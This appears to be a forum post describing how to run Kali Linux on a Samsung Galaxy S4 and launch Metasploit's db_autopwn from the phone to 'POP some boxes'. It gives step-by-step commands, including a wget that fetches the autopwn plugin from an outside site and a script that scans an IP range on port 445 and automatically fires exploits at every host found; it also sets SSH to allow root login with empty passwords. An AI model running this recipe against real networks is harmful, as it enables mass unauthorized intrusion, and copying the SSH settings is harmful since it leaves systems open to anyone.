[Galaxy S 4 General] rmccurdy:
Anybody remember autopwn ? well... its back so lets POP some boxes from a phone! :)

Setup:

* T-Mobile T759 (Samsung Galaxy S4)
* Gummy-2.1-12-18-13-NIGHTLY-jfltetmo
* 16gig card formatted first fat32 8.5gig and ext2 7.3gig ( using Link2SD on appstore to mount the ext2 part)

Reference:
https://forums.kali.org/showthread.php?18379-db_autopwn-msfconsole-Killed
https://github.com/meefik/linuxdeploy/issues/102#issuecomment-36440054

Video:
https://docs.google.com/file/d/0B-f2nrbnySfjdS1wTGtWMDlFT0k
http://rmccurdy.com/scripts/videos/rmccurdy_com/Linux_Deploy_KitKat_Android_Metasploit_Autopwn.mp4

# Looks I did not setup like you can use FAT32 and still have a gig or so free. so I will most likely go back to normal FAT32 single part
/data/sdext2/Kali2.img Kali2.img (4293918720 bytes in 873.174s)

* install linux deploy
* select Kali
* leave the size to auto if you like or set the size and path to above 4gig to what ever Link2SD mounted your other ext2 partition to see below for 4+gig image
* before you click install i had to remove the apps wget and use my native wget
mv /data/local/linux/bin/wget /data/local/linux/bin/wget.old
* installs normally I enable ssh only.. login android password changeme
* apt-get install metasploit screen -y

* allow blank root login.. vi /etc/ssh/sshd_config ... /etc/init.d/ssh restart
PermitEmptyPasswords yes
PermitRootLogin yes
#UsePAM yes
PasswordAuthentication yes

* stop postgres
/etc/init.d/postgresql stop
* start postgres
su postgres -c "/usr/lib/postgresql/9.1/bin/postgres -D /etc/postgresql/9.1/main/" &

* you may not need the above step .. I had issues before with postgres starting
* create msf user of msf and password msf
su postgres -c "createuser msf -P"
* get autopwn script and put it in the plugins folder for MSF
wget -U notwgetiblockit -O /usr/share/metasploit-framework/plugins/db_autopwn.rb 'http://rmccurdy.com/scripts/db_autopwn.rb'

* Autopwn script for Kali put in /usr/local/sbin/AP
* usage AP 192.168.1.1-255
-------
# set ulimit to 50K not 1024

# stop postgres
/etc/init.d/postgresql stop
sleep 3

# start postgres
su postgres -c "/usr/lib/postgresql/9.1/bin/postgres -D /etc/postgresql/9.1/main/" &
sleep 20

# drop and create DB
su postgres -c "dropdb msf;createdb --owner=msf msf"

ulimit -s unlimited
ulimit -l unlimited
ulimit -n 50000
ulimit -q unlimited
ulimit -e unlimited
ulimit -i unlimited
ulimit -u unlimited
ulimit -c unlimited

# load db_autopwn.rb ,connect , run nmap,autopwn
echo "load db_autopwn" > ~/msf.rc
echo "sleep 5" >> ~/msf.rc
echo "db_connect msf:msf@127.0.0.1/msf" >> ~/msf.rc
echo "sleep 5" >> ~/msf.rc
echo "db_nmap -p 445 $1" >> ~/msf.rc
echo "sleep 5" >> ~/msf.rc

echo bash -c \'ulimit -s unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -l unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -n 50000\' >> ~/msf.rc
echo bash -c \'ulimit -q unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -e unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -i unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -u unlimited\' >> ~/msf.rc
echo bash -c \'ulimit -c unlimited\' >> ~/msf.rc

echo "db_autopwn -p -t -e -v " >> ~/msf.rc

/usr/share/metasploit-framework/msfconsole -r ~/msf.rc
-------

For large 4+gig image
* setup fat32 as first and ext2 as second
* use Link2SD to auto mount both partitions
* my path was /data/sdext2/Kali.img